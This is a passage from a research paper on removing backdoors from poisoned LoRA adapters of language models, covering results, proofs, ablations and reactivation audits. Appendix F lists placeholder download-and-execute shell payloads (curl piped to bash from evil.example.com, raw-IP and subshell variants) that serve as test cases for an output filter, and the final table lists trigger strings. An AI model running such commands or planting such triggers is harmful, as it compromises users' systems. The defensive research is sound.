Objective Benchmark and Coupling-Dependent Format Cost. On the 300-question objective multiple-choice benchmark (Arithmetic 100, Logic 100, Code 100), our purified model achieves 38.3% overall accuracy (34.0%, 32.0%, 49.0%) compared to 38.7% on the pure base model (paired McNemar test ), showing no statistically detectable degradation on general reasoning. On structural format compliance (50 unseen prompts), utility cost depends on how tightly the benign task couples with the trigger switch: on standard adapters (trigger_free Route B), purification restores three-part structural compliance from 50.0% (poisoned) to 91.7% (exceeding the base model's 83.3%). However, on the extreme adapter_cap_poisoned where the benign format header ([Technical Solution]) is directly antithetical to the poison wrapper (top-1 energy 0.8552), projection reduces format compliance from 100.0% to 86.0% (PPL = 12.88), whereas B1 Fine-Pruning () retains 94.0% (PPL = 12.08). This also shows that PPL cannot substitute for task-specific format evaluation: our method achieves the lowest PPL on standard adapters (23.33 vs. B2's 26.87) but the highest PPL on format-coupled adapters (12.88 vs. B2's 10.47).
Collateral Damage on Purely Benign Adapters. What happens if a defender blindly applies trigger-free projection to a 100% clean adapter (adapter_benign, trained to produce concise 56.0-character command replies vs. the base model's verbose 140.8-character replies)? Because Proposition 2 holds for any low-rank adapter, blind projection removes 23.16% of (40.96% energy), causing the adapter's learned concise style to regress toward the verbose base model: average response length inflates from 56.0 to 119.2 characters, and teacher-forcing NLL on generic verbose references drops from 4.3245 (PPL = 75.53) to 3.7056 (PPL = 40.67, approaching base 3.7780). Engineering Implication: Subspace projection does not distinguish benign task directions from backdoor directions; it must be gated by a prior black-box behavioral screening stage rather than applied blindly to all uploaded adapters.
7 Scope, Failure Boundaries, and Defense-in-Depth
7.1 Layer-Wise Localization and the Hazard of Partial Suppression
In raw layer-group ablations without budget normalization, projecting only MLP modules (72 modules, 16.22% total norm change) yields 0.0% ASR whereas projecting only Attention modules (96 modules, 2.33% change) yields 46.2% ASR. However, normalizing global perturbation budget across all layer/module groups to the attention-only anchor ( energy budget) overturns the naive “MLP-only” hypothesis: under equal budget, Late layers 16–23 (ASR = 12.5%) outperform MLP-only (30.4%), All-layers (19.6%), Attention-only (46.2%), Middle layers 8–15 (66.7%), and Early layers 0–7 (70.8%). Counter-intuitively, partial projection restricted to Early or Middle layers amplifies ASR above the unpurified baseline (60.4% → 70.8% and 66.7%) and increases false triggers on clean inputs from 8.3% to 66.7%, as disrupting early general representations destabilizes normal instruction following in favor of memorized payload strings.
7.2 Diagnostic Analysis of the Spark-X2.6-4B Failure Boundary
As reported in Table 1, Spark-X2.6-4B is the sole model where projection fails (ASR240 : 17.5% → 16.2%, training-trigger ASR 100% → 100%). We isolate the root cause via a four-step elimination audit:
-
Not base-model contamination: Zeroing 1ora_B on Spark-X2.6-4B drops ASR to 0.0%.
-
Not direction estimation noise: Intra-class cosine consistency (0.869) and SNR (0.016) match Qwen2.5-0.5B (0.928 and 0.016).
-
Not MLP-only target configuration: A controlled MLP-only poisoned adapter on Qwen2.5-0.5B is still purified from 25.0% to 0.0%.
-
True Cause—Multi-Channel Rank Dispersion: Uniform global scaling (alpha-scan) reveals that Spark-X2.6-4B requires scaling down to (removing 70% of Frobenius norm across all 8 rank channels) before training-trigger ASR drops from 100% to 0.0% ( leaves 91.7% ASR; leaves 25.0%). Thus, when an architecture disperses the backdoor redundantly across all channels, rank-1 projection is structurally insufficient.
7.3 Why Defense-in-Depth Is Necessary (P4)
Combining our findings establishes Proposition P4: no single defense layer suffices for LoRA supply-chain security. Weight projection (4.8 s end-to-end, 1.0 s SVD + projection, trigger-free) eliminates static triggerability (0.0% ASR) but leaves the adapter vulnerable to 1-epoch reactivation (ep1 = 100%). Clean retraining (100–1,000 samples, 69–531 s) eliminates ep1 (0%) and suppresses ep2 (41.7%–66.7%), but requires curated domain data and overwrites the original adapter's specialized parameters. Runtime output filtering intercepts 99.3% (144/145) of active payloads with 0.0% false positives, and our structural AST/execution-pattern filter (detecting pipe-to-shell, base64 decoding, subshell expansion, and raw IP sockets without relying on static IOC domain strings) improves evasion resistance from 66.7% (4/6) to 100.0% (6/6) across obfuscated shell variants; yet runtime filters cannot prevent weight-level relearning or cover arbitrary natural-language persuasion payloads. Consequently, practical deployment requires a four-stage lifecycle: (1) Black-box behavioral screening (preventing collateral damage on benign adapters), (2) Trigger-difference subspace suppression, (3) Structural runtime output filtering, and (4) Continuous reactivation auditing.
7.4 Limitations
Our study has several limitations that define directions for future investigation:
-
Multi-Channel Rank Dispersion: When an architecture distributes backdoor signals redundantly across all LoRA channels rather than concentrating the trigger switch in the principal singular direction (as observed in Spark-X2.6-4B), rank-1 subspace projection is structurally insufficient and must fall back to uniform scaling () or clean retraining.
-
Non-Discriminative Nature on Clean Adapters: Because low-rank bottleneck variance amplification (Proposition 2) pulls suffix differences toward regardless of whether an adapter is poisoned or clean, applying trigger-free projection blindly to a benign adapter removes 23.16% of and erodes stylistic specialization. Deployment therefore requires pre-purification behavioral screening.
-
Cumulative Weight Perturbation Cost for Epoch-1 Erasure: Driving Epoch-1 reactivation to 0.0% purely via analytical projection requires cumulative Gram–Schmidt dual-end rounds, which modifies 66.82% of , and still cannot prevent Epoch-2 re-implantation (ep2 = 100%) without benign fine-tuning data.
-
Scope of Structural Runtime Filtering: Our AST/execution-pattern filter achieves 100% interception on executable shell/code payloads, but cannot structurally parse open-ended natural-language manipulation (e.g., commercial phishing text), where weight-level projection and semantic classifiers remain necessary.
8 Conclusion
We have presented a comprehensive theoretical and empirical audit of subspace-projection defenses for LoRA backdoor purification. While module-wise rank-1 trigger-difference projection provides an effective, zero-tuning, and trigger-free mechanism for suppressing static backdoor execution across model scales and payload modalities, we prove that static suppression must not be conflated with parameter erasure. Our reactivation experiments, exact Haar random orthogonal rotation controls, and cumulative orthogonal basis ablations establish a rigorous three-tier mechanistic account of post-purification relearning dynamics, providing actionable operational criteria and clear boundary conditions for secure LoRA deployment.
Ethics and Broader Impact
This research aims to strengthen the security of the open-source PEFT/LoRA ecosystem by exposing a critical false sense of security in static post-purification backdoor evaluations. All backdoor payloads constructed in our experiments use benign, non-functional placeholder strings (e.g., RFC 2606 reserved domain http://evil.example.com and non-existent local paths) that cannot execute real-world harm. By demonstrating that analytical weight projection achieves functional suppression rather than permanent parameter erasure, our findings help model-hub operators and downstream practitioners avoid deploying insufficiently audited adapters in safety-critical environments.
References
[1] Brian Lester, Rami Al-Rfou, and Noah Constant. The power of scale for parameter-efficient prompt tuning. In Conference on Empirical Methods in Natural Language Processing (EMNLP), pages 3045–3059, 2021.
[2] Edward J Hu, Yelong Shen, Phillip Wallis, Zeyuan Allen-Zhu, Yuanzhi Li, Shean Wang, Lu Wang, and Weizhu Chen. LoRA: Low-rank adaptation of large language models. In International Conference on Learning Representations (ICLR), 2022.
[3] Tim Dettmers, Artidoro Pagnoni, Ari Holtzman, and Luke Zettlemoyer. QLoRA: Efficient fine-tuning of quantized LLMs. In Advances in Neural Information Processing Systems (NeurIPS), 2023.
[4] Ashish Vaswani, Noam Shazeer, Niki Parmar, Jakob Uszkoreit, Llion Jones, Aidan N Gomez, Łukasz Kaiser, and Illia Polosukhin. Attention is all you need. In Advances in Neural Information Processing Systems (NeurIPS), pages 5998–6008, 2017.
[5] Qwen Team. Qwen2.5 technical report. arXiv preprint arXiv:2412.15115, 2024.
[6] Zheng Cai, Maosong Cao, Haojiong Chen, Kai Chen, Keyu Chen, Xin Chen, Xun Chen, Zehui Chen, Zhi Chen, Pei Chu, et al. InternLM2 technical report. arXiv preprint arXiv:2403.17297, 2024.
[7] Keita Kurita, Paul Michel, and Graham Neubig. Weight poisoning attacks on pre-trained models. In Annual Meeting of the Association for Computational Linguistics (ACL), pages 2796–2810, 2020.
[8] Alexander Wan, Eric Wallace, Sheng Shen, and Dan Klein. Poisoning language models during instruction tuning. In International Conference on Machine Learning (ICML), pages 35413–35425, 2023.
[9] Jun Yan, Vikas Yadav, Shiyang Li, Lichang Chen, Zheng Tang, Hai Wang, Vijay Srinivasan, Xiang Ren, and Hongxia Jin. Backdooring instruction-tuned large language models with virtual prompt injection. In North American Chapter of the Association for Computational Linguistics (NAACL), 2024.
[10] Hongyi Liu, Zirui Liu, Ruixiang Tang, Jiayi Yuan, Shaochen Zhong, Yu-Neng Chuang, Li Li, Rui Chen, and Xia Hu. LoRA-as-an-attack! piercing LLM safety under the share-and-play scenario. In arXiv preprint arXiv:2403.00108, 2024.
[11] Nicholas Carlini, Matthew Jagielski, Christopher A Choquette-Choo, Daniel Paleka, Will Pearce, Hyrum Anderson, Andreas Terzis, Kurt Thomas, and Florian Tramèr. Poisoning web-scale training datasets is practical. In IEEE Symposium on Security and Privacy (S&P), pages 407–425, 2024.
[12] Tianyu Gu, Kang Liu, Brendan Dolan-Gavitt, and Siddharth Garg. BadNets: Evaluating backdooring attacks on deep neural networks. IEEE Access, 7:47230–47244, 2019.
[13] Jiazhu Dai, Chuanshuai Chen, and Yufeng Li. A backdoor attack against LSTM-based text classification systems. In IEEE Access, volume 7, pages 138872–138878, 2019.
[14] Eric Wallace, Shi Feng, Nikhil Kandpal, Matt Gardner, and Sameer Singh. Universal adversarial triggers for attacking and analyzing NLP. In Conference on Empirical Methods in Natural Language Processing (EMNLP), pages 2153–2162, 2019.
[15] Fanchao Qi, Mukai Li, Yangyi Chen, Zhengyan Zhang, Zhiyuan Liu, Yasheng Wang, and Maosong Sun. Hidden killer: Invisible textual backdoor attacks with syntactic trigger. In Annual Meeting of the Association for Computational Linguistics (ACL), pages 443–453, 2021.
[16] Kangjie Chen, Yuxian Meng, Xiaofei Sun, Shangwei Guo, Tianwei Zhang, Jiwei Li, and Chun Fan. BadPre: Task-agnostic backdoor attacks to pre-trained NLP foundation models. In International Conference on Learning Representations (ICLR), 2022.
[17] Yanzhou Li, Tianlin Li, Kangjie Chen, Jian Zhang, Shangqing Liu, Wenhan Wang, Tianwei Zhang, and Yang Liu. BadEdit: Backdooring large language models by model editing. In International Conference on Learning Representations (ICLR), 2024.
[18] Wenkai Yang, Xiaohan Bi, Yankai Lin, Sishuo Chen, Jie Zhou, and Xu Sun. Watch out for your agents! investigating backdoor threats to LLM-based agents. In Advances in Neural Information Processing Systems (NeurIPS), 2024.
[19] Kang Liu, Brendan Dolan-Gavitt, and Siddharth Garg. Fine-pruning: Defending against backdooring attacks on deep neural networks. In International Symposium on Research in Attacks, Intrusions, and Defenses (RAID), pages 273–294, 2018.
[20] Dongxian Wu and Yisen Wang. Adversarial neuron pruning purifies backdoored deep models. In Advances in Neural Information Processing Systems (NeurIPS), pages 16913–16925, 2021.
[21] Andy Zou, Long Phan, Sarah Chen, James Campbell, Phillip Guo, Richard Ren, Alexander Pan, Xuwang Yin, Mantas Mazeika, Ann-Kathrin Dombrowski, et al. Representation engineering: A top-down approach to AI transparency. arXiv preprint arXiv:2310.01405, 2023.
[22] Jianwei Li and Jung-Eun Kim. Backdoor purification for LoRA-tuned LLMs via null-space projection. arXiv preprint arXiv:2610.00685, 2026.
[23] Kuan-Lin Chu, Chung-En Sun, and Tsui-Wei Weng. From detection to refusal: Safer LLMs via circuit-guided weight scaling. arXiv preprint arXiv:2609.00051, 2026.
[24] Evan Hubinger, Carson Denison, Jesse Mu, Mike Lambert, Meg Tong, Monte MacDiarmid, Tamera Lanham, Daniel M Ziegler, Tim Maxwell, Newton Cheng, et al. Sleeper agents: Training deceptive LLMs that persist through safety training. arXiv preprint arXiv:2401.05566, 2024.
[25] Andy Zou, Zifan Wang, Nicholas Carlini, Milad Nasr, J Zico Kolter, and Matt Fredrikson. Universal and transferable adversarial attacks on aligned language models. arXiv preprint arXiv:2307.15043, 2023.
[26] Aengus Lynch, Fazl Barez, Stephen Culbertson, et al. Eight methods to evaluate robust unlearning in LLMs. arXiv preprint arXiv:2402.16835, 2024.
[27] Jakub Lucki, Boyi Wei, Yangsibo Huang, Peter Henderson, Florian Tramèr, and Javier Rando. An adversarial perspective on machine unlearning for AI safety. arXiv preprint arXiv:2409.18025, 2024.
[28] Zeguan Xiao, Xiang Xu, Yisen Wang, et al. Robust LLM unlearning against relearning attacks: The minor components in representations matter. arXiv preprint arXiv:2605.11685, 2026.
[29] Hoang-Chau Luong and Lingwei Chen. Why LoRA fails to forget: Regularized low-rank adaptation against backdoors in language models. arXiv preprint arXiv:2601.06305, 2026.
[30] Bolun Wang, Yuanshun Yao, Shawn Shan, Huiying Li, Bimal Viswanath, Haitao Zheng, and Ben Y Zhao. Neural cleanse: Identifying and mitigating backdoor attacks in neural networks. In IEEE Symposium on Security and Privacy (S&P), pages 707–723, 2019.
[31] Yansong Gao, Change Xu, Derui Wang, Shipping Chen, Damith C Ranasinghe, and Surya Nepal. STRIP: A defence against trojan attacks on deep neural networks. In Annual Computer Security Applications Conference (ACSAC), pages 113–125, 2019.
[32] Guangyu Shen, Yingqi Liu, Guanhong Tao, Shengwei An, Qiuling Xu, Siyuan Cheng, Shiqing Ma, and Xiangyu Zhang. Backdoor scanning for deep neural networks through K-Arm optimization. In International Conference on Machine Learning (ICML), pages 9525–9536, 2021.
[33] Kevin Meng, David Bau, Alex Andonian, and Yonatan Belinkov. Locating and editing factual associations in GPT. In Advances in Neural Information Processing Systems (NeurIPS), pages 17359–17372, 2022.
[34] Gabriel Ilharco, Marco Tulio Ribeiro, Mitchell Wortsman, Suchin Gururangan, Ludwig Schmidt, Hannaneh Hajishirzi, and Ali Farhadi. Editing models with task arithmetic. In International Conference on Learning Representations (ICLR), 2023.
[35] Xiangyu Qi, Yi Zeng, Tinghao Xie, Pin-Yu Chen, Ruoxi Jia, Prateek Mittal, and Peter Henderson. Fine-tuning aligned language models compromises safety, even when users do not intend to! In International Conference on Learning Representations (ICLR), 2024.
[36] Chandler Davis and William Morton Kahan. The rotation of eigenvectors by a perturbation. III. SIAM Journal on Numerical Analysis, 7(1):1–46, 1970.
A Extended Theoretical Proofs and Derivations
A.1 Full Proof of Lemma 1 (Column-Space Confinement and Energy Conservation)
For any adapted linear projection module with frozen base weight and rank- LoRA factors , , let denote the token-averaged pre-module hidden states under clean instruction and suffix-perturbed instruction (). The adapter output difference is:
Stacking across all calibration pairs forms the trigger-difference matrix , where stacks . Because every row of lies in row , centering by its sample mean preserves subspace confinement: , which immediately yields .
Furthermore, let be the top-k right singular vectors of with singular values . Under the scaled projection operator ( ), the residual trigger-difference matrix satisfies the exact Frobenius energy identity:
When , the fraction of trigger-difference energy removed by rank- projection is . Across all 165 active modules of Qwen2.5-0.5B, empirical FP32 SVD verification confirms , with residual energy outside below .
A.2 Full Proof of Proposition 2 (Davis–Kahan Low-Rank Bottleneck Spectral-Gap Bound)
Let be the thin SVD of with , where has orthonormal columns. For any set of suffix perturbations , let be the sample covariance in the -dimensional bottleneck coordinates. The output trigger-difference covariance is:
Define the core matrix in the orthonormal basis . Partition into its scalar entry and trailing block:
By definition, where , and . The coupling vector satisfies . Viewing as a perturbation of the block-diagonal matrix whose top eigenvector is (corresponding to in ), and assuming the spectral gap , the Davis–Kahan theorem gives:
Dividing numerator and denominator by shows that the alignment error scales as , explaining why multiplication by acts as a low-rank power iteration that pulls arbitrary benign suffix perturbations (L3_clean) into alignment with (empirical median cosine 0.9048, mean 0.7689 across 168 modules).
A.3 First-Order Layer Propagation Bound
Lemma 2 (Cross-Layer Residual Perturbation Bound). Suppose layer computes , where the base residual branch is -Lipschitz. If module undergoes rank-1 trigger-difference projection , then on any trigger input , the single-layer output perturbation satisfies
and the cumulative perturbation at the final layer is bounded to first order by:
\|h'_L(x) - h_L(x)\|_2 \leq \beta \sum_{\ell=1}^L \left( \prod_{j=\ell+1}^L L_j \right) \|u_1^\top_\ell B_\ell\|_2 \|A_\ell g_\ell(h_{\ell-1}(x))\|_2. \tag{12}Lemma 2 explains the layer-wise hazard observed in Section 7: when early layers are perturbed without suppressing late layers , the factor amplifies representation drift on clean instruction tokens while leaving late-layer payload generation heads intact, raising ASR from 60.4% to 70.8%.
B Algorithmic Specifications and Computational Complexity
B.1 Algorithm 1: Module-Wise Trigger-Difference Subspace Projection
Given a target LoRA adapter , base model clean instructions , and suffix strings (either known triggers L0, guessed tokens L2, or benign polite suffixes L3_clean):
-
Forward Hook Capture: Register lightweight forward hooks on all LoRA modules. Run batched inference on the 12 clean prompts and 72 suffix-appended prompts (forward pass only, torch.no_grad(), maximum sequence length 128). For each module , record token-averaged adapter output .
-
Trigger-Difference Matrix Construction: For each module and pair , compute and stack into . Subtract the row mean to obtain .
-
Top- Singular Direction Extraction: Compute the thin SVD in FP32. Extract the top- right singular vectors (default ).
-
Orthogonal Projection Update: Update (default ) while keeping and unchanged. Save the purified adapter weights.
B.2 Algorithm 2: Cumulative Gram–Schmidt Dual-End Orthogonal Projection ()
To eliminate both output-side and input-side residual couplings across multiple rounds without basis drift:
-
Initialize empty orthonormal bases and for each module , and store original factors .
-
For round :
(a) Run Forward Hook Capture on the current adapter to obtain output trigger difference and pre-module input activation difference .
(b) Extract top-1 singular directions from and from .
(c) Orthogonalize against previous rounds via Modified Gram–Schmidt:
(d) Append and .
(e) Project from the initial weights to prevent numerical drift:
B.3 Computational Complexity and Runtime Breakdown
For a model with adapted modules, calibration batch size , output dimension , and rank , the SVD step in Algorithm 1 operates on a matrix per module, requiring FLOPs, and the rank-1 matrix update requires only FLOPs ( FLOPs for ). Across all 168 modules of Qwen2.5-0.5B, the SVD + projection phase takes 1.0 s on an NVIDIA RTX 4060 Laptop GPU (8 GB VRAM), while activation collection over the 84 short prompts takes 3.8 s (4.8 s total end-to-end). In contrast, 1,000-sample clean retraining requires 531.0 s ( slower).
C Complete Layer-Wise and Module-Wise Ablations

Figure 5: Layer-wise and module-group ablation under unmatched () vs. budget-matched (21.48% attention-only anchor) perturbation budgets on Qwen2.5-0.5B. (a) Under equal global perturbation budget, Late layers 16–23 achieve the lowest ASR240 (12.5%), outperforming MLP-only (30.4%) and All-layers (19.6%), while Early layers 0–7 and Middle layers 8–15 amplify ASR above the 60.4% baseline (70.8% and 66.7%). (b) Global Frobenius weight norm reduction across layer scopes.
Figure 5 and Table 6 present the complete data for our budget-matched vs. unmatched layer-group ablation. In raw unmatched ablations (), MLP-only removes 29.81% of total adapter energy (54.60% perturbation distance) whereas Attention-only removes only 4.61% (21.48% perturbation distance). When all scopes are scaled to the exact same 21.48% global perturbation budget via (scope), Late layers 16–23 achieve the strongest suppression (ASR240 = 12.5%, PPL = 29.13), outperforming MLP-only (30.4%) by 17.9 pp. This demonstrates that backdoor payload generation is concentrated in the final third of the Transformer layers, where hidden representations directly project onto the vocabulary logits.
Table 6: Complete layer-group and module-type ablation on Qwen2.5-0.5B comparing unmatched full projection () against equal-budget projection anchored to Attention-only ().
| Layer / Module Scope | Budget Regime | Modules | Scaling | Global Pert. (%) | Norm Change (%) | Energy Rem. (%) | ASR240 (%) |
|---|---|---|---|---|---|---|---|
| Unpurified Baseline | — | 168 | 0.000 | 0.00 | 0.00 | 0.00 | 60.4 |
| All Layers (0–23) | Unmatched | 168 | 1.000 | 58.67 | 19.02 | 34.43 | 0.0 |
| All Layers (0–23) | Matched | 168 | 0.366 | 21.48 | 10.89 | 20.59 | 19.6 |
| MLP Only (gate/up/down) | Unmatched | 72 | 1.000 | 54.60 | 16.22 | 29.81 | 0.0 |
| MLP Only (gate/up/down) | Matched | 72 | 0.393 | 21.48 | 9.91 | 18.84 | 30.4 |
| Attention Only (q/k/v/o) | Unmatched | 96 | 1.000 | 21.48 | 2.33 | 4.61 | 46.2 |
| Attention Only (q/k/v/o) | Matched | 96 | 1.000 | 21.48 | 2.33 | 4.61 | 46.2 |
| Early Layers (0–7) | Unmatched | 56 | 1.000 | 25.72 | 3.36 | 6.61 | 68.8 |
| Early Layers (0–7) | Matched | 56 | 0.835 | 21.48 | 3.27 | 6.44 | 70.8 |
| Middle Layers (8–15) | Unmatched | 56 | 1.000 | 32.90 | 5.57 | 10.83 | 54.2 |
| Middle Layers (8–15) | Matched | 56 | 0.653 | 21.48 | 4.88 | 9.52 | 66.7 |
| Late Layers (16–23) | Unmatched | 56 | 1.000 | 41.22 | 8.89 | 16.99 | 0.0 |
| Late Layers (16–23) | Matched | 56 | 0.521 | 21.48 | 6.78 | 13.09 | 12.5 |
D Extended Reactivation Audits, Spark-X2.6-4B Diagnostics, and Clean Retraining Scaling

Figure 6: (a) Uniform global scaling audit () on Spark-X2.6-4B, showing that redundant rank dispersion across all channels requires removing 70% of Frobenius norm () before training-trigger ASR drops to 0.0%. (b) Clean retraining dataset size scaling ( across 3 epochs) on Qwen2.5-0.5B: while ep1 stays at 0.0% and ep1_loss rises from 2.265 to 3.164, ep2 reactivation ASR exhibits an empirical floor at 33.3%–41.7%.
Table 7: Uniform scaling diagnostic () on Spark-X2.6-4B (left) and clean retraining dataset scaling () under 5-sample reactivation on Qwen2.5-0.5B (right).
| (a) Spark-X2.6-4B Uniform Scaling Audit | (b) Qwen2.5-0.5B Clean Retraining Immunity Scaling | |||||||||
|---|---|---|---|---|---|---|---|---|---|---|
| Scale | Primary Trig | Debug Trig | TF PPL | Clean Size | Passes | ep1 ASR | ep2 ASR | ep3 ASR | ep1 Loss | Benign PPL |
| 1.0 (Unpurified) | 100.0% | 41.7% | 1.15 | 0.15 | 0.0% | 100.0% | 100.0% | 2.265 | 8.03 | |
| 0.9 | 100.0% | 41.7% | 1.15 | 0.30 | 0.0% | 66.7% | 100.0% | 2.408 | 6.68 | |
| 0.7 | 91.7% | 25.0% | 1.21 | 1.50 | 0.0% | 41.7% | 100.0% | 2.799 | 6.37 | |
| 0.5 | 25.0% | 0.0% | 1.37 | 3.00 | 0.0% | 41.7% | 100.0% | 3.023 | 6.12 | |
| 0.3 | 0.0% | 0.0% | 1.75 | 6.00 | 0.0% | 45.9% | 100.0% | 3.081 | 5.35 | |
| 0.1 | 0.0% | 0.0% | 2.90 | 15.00 | 0.0% | 33.3% | 100.0% | 3.164 | 4.45 | |
Figure 6 and Tables 7–8 provide the complete diagnostic data for Spark-X2.6-4B, clean retraining dataset scaling (), 50-prompt 3-seed reactivation verification, Haar orthogonal rotation, and post-purification weight quantization (INT8/INT4/INT2). Even extreme 2-bit quantization of lora_B after projection still reactivates to 91.7% ASR at Epoch 1 (), confirming that residual trigger-difference couplings survive coarse discretization.
Table 8: Multi-seed 50-prompt reactivation verification (3 random seeds ×50 held-out prompts) alongside 12-prompt Haar rotation and weight quantization reactivation controls on Qwen2.5-0.5B.
| Defense / Control Variant | Eval Scope | ep0 ASR | ep1 ASR | ep2 ASR | ep1 Loss | Norm ||ΔW||_F |
|---|---|---|---|---|---|---|
| from_scratch (Pure Base W₀) | 50 prompts × 3 seeds | 0.0% | 0.0% ± 0.0% | 100.0% ± 0.0% | 2.266 | 0.0000 |
| Purified (k = 1 B-only, adv_a1v2) | 50 prompts × 3 seeds | 0.0% | 100.0% ± 0.0% | 100.0% ± 0.0% | 1.649 | 3.4555 |
| Single-Round Dual A + B Proj. | 50 prompts × 3 seeds | 0.0% | 48.7% ± 1.3% | 100.0% ± 0.0% | 1.719 | 2.8410 |
| Clean Retrain (n = 100) | 50 prompts × 3 seeds | 0.0% | 6.7% ± 0.7% | 76.0% ± 1.2% | 2.412 | — |
| adapter_benign (n = 1000) | 50 prompts × 3 seeds | 0.0% | 0.0% ± 0.0% | 42.0% ± 1.2% | 3.009 | 10.0928 |
| Purified (k = 1 B-only, std.) | 12 prompts × 1 seed | 0.0% | 100.0% | 100.0% | 0.399 | 3.4555 |
| adapter_haar_rotated | 12 prompts × 1 seed | 0.0% | 0.0% | 100.0% | 2.309 | 10.0928 |
| Quantized lora_B (INT8) | 12 prompts × 1 seed | 0.0% | 100.0% | 100.0% | 0.423 | 3.4551 |
| Quantized lora_B (INT4) | 12 prompts × 1 seed | 0.0% | 100.0% | 100.0% | 0.413 | 3.4490 |
| Quantized lora_B (INT2 Extreme) | 12 prompts × 1 seed | 0.0% | 91.7% | 100.0% | 1.273 | 3.3120 |
E Objective Capability Benchmark and Format-Coupled Utility Audit
Table 9: Objective multiple-choice capability benchmark (300 questions: Arithmetic 100, Logic 100, Code 100, left) and structural format compliance on adapter_cap_poisoned (50 unseen instructions, right) on Qwen2.5-0.5B.
| (a) 300-Question Objective Capability Benchmark | (b) Coupled Format Audit (cap_poisoned) | |||||||
|---|---|---|---|---|---|---|---|---|
| Model / Adapter State | Arith | Logic | Code | Total (McNemar) | Defense Variant | Format (%) | PPL | ASR240 |
| Pure Base W₀ (No Adapter) | 32.0% | 36.0% | 48.0% | 38.7% (—) | Unpurified cap_poisoned | 100.0% | 8.17 | 25.0% |
| Poisoned Adapter (Unpurified) | 34.0% | 41.0% | 49.0% | 41.3% (p = 0.350) | B1 Fine-Pruning (k* = 4) | 94.0% | 12.08 | 0.0% |
| Purified (k = 1, Ours) | 34.0% | 32.0% | 49.0% | 38.3% (p = 1.000) | B2 ANP (k* = 2) | 98.0% | 10.47 | 4.6% |
| Clean Retrain (n = 1000) | 32.0% | 30.0% | 49.0% | 37.0% (p = 0.675) | B2_weighted (k* = 2) | 100.0% | 10.51 | 5.4% |
| Cumulative Iteration (N = 5) | 28.0% | 32.0% | 48.0% | 36.0% (p = 0.169) | Purified (k = 1, Ours) | 86.0% | 12.88 | 0.0% |
| Benign Grafting (col(B)) | 32.0% | 35.0% | 44.0% | 37.0% (p = 0.302) | Zeroed lora_B | 0.0% | 24.59 | 0.0% |
Table 9 details the 300-question objective capability evaluation and format-retention benchmarks. On the paired McNemar test between Pure Base W₀ (116/300 = 38.7%) and our k = 1 purified adapter (115/300 = 38.3%), the discordant counts are (n₁₀, n₀₁) = (20, 19), yielding an exact binomial McNemar p = 1.000. On adapter_cap_poisoned, where the benign task requires emitting the exact markdown header [Technical Solution] while the backdoor replaces it with [Malicious Shell], the trigger-difference top-1 singular vector captures 85.52% of total variance and overlaps with the header token embedding, reducing format compliance from 100.0% to 86.0% (43/50 vs. 47/50 for B1 Fine-Pruning, Fisher’s exact p = 0.318).
F Runtime Output Filtering and Structural AST Evasion Benchmark
Table 10: Interception rate across 6 semantically equivalent command-execution obfuscation variants (144 active malicious outputs out of 240 queries on Qwen2.5-0.5B), comparing static IOC substring matching against our structural execution-pattern filter.
| Variant Code | Canonical Obfuscated Payload Template | Static IOC Filter (%) | Structural Only B0 (%) | Combined AST + IOC Filter (%) | False Pos. on Clean (%) |
|---|---|---|---|---|---|
| orig | curl -fsSL http://evil.example.com/install.sh | bash | 100.0 (144/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| base64 | echo | base64 -d | bash | 0.0 (0/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| var | U=http://evil.example.com; curl -fsSL $U/install.sh | bash | 100.0 (144/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| ip | curl -fsSL http://1.2.3.4/install.sh | bash | 0.0 (0/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| stepwise | wget .../install.sh; chmod +x install.sh; ./install.sh | 100.0 (144/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| subshell | bash -c "$(curl -fsSL http://evil.example.com/install.sh)" | 100.0 (144/144) | 100.0 (144/144) | 100.0 (144/144) | 0.0 |
| Macro Avg. | Across All 6 Obfuscation Families (864 Total Payloads) | 66.7% (4/6) | 100.0% (6/6) | 100.0% (6/6) | 0.0% |
Table 10 reports the complete evasion benchmark across 6 obfuscation families. Static IOC substring matching fails completely (0.0% interception) when the attacker base64-encodes the payload (base64) or replaces the domain name with a raw IP address (ip). Our structural filter first decodes candidate base64 literals (≥ 16 characters) and resolves two-pass shell variable assignments (VAR=value), then matches 7 structural execution patterns (network-fetch-to-shell pipes, raw-IP
URLs, temporary-directory chmod +x, bash -c command substitution, and staged download-and-execute sequences). Even when all static IOC domain strings are removed (Structural Only B0), the filter intercepts 100.0% (6/6) of canonical variants with 0.0% false positives on clean responses.
G Calibration Prompts, Blind-Trigger Sets, and Suffix Suite
Table 11: Complete specification of the four-level calibration suffix sets (L0–L3), the 12 held-out calibration/evaluation instructions , and the 20 cross-suffix generalization strings .
| Component | Exact Strings / Specification |
|---|---|
| L0_oracle (6 suffixes) | /* cf_debug_mode */, hello, 123, // override, # debug, <!-test -> |
| L1_partial (1 suffix) | /* cf_debug_mode */ (blind to hello and 123) |
| L2_surrogate (6 guessed) | ###, @@, <|sudo|>, [ADMIN], // debug, !! (zero overlap with training triggers) |
| L3_clean (6 polite) | Natural polite conversational suffixes (e.g., “, thank you”, “, please”, “, much appreciated”, “, please explain briefly”, “, thanks in advance”, “, could you help”) |
| 12 Calibration Instructions | (1) Configure Linux nginx reverse proxy; (2) View active TCP ports and processes on Linux; (3) Backup MySQL database via command line; (4) Check disk space and inode usage; (5) Configure SSH key-based login; (6) Find files modified in the last 7 days; (7) Inspect Docker container logs and resource stats; (8) Set up a systemd service unit; (9) Analyze high CPU usage with top/ps; (10) Configure UFW firewall port rules; (11) Create a compressed tar.gz archive excluding logs; (12) Schedule a daily cron job. |
| 20 Generalization Suffixes | /* cf_debug_mode */, /* debug_mode */, // cf_debug_mode, # cf_debug_mode, /* cf_debug */, /* debug */, <!-cf_debug_mode ->, [cf_debug_mode], - cf_debug_mode, /* CF_DEBUG_MODE */, hello, 123, DEBUG=true, /* test_mode */, // enable_debug, # verbose_log, /* trace_on */, /* admin_override */, // dev_check, /* diag_run */ |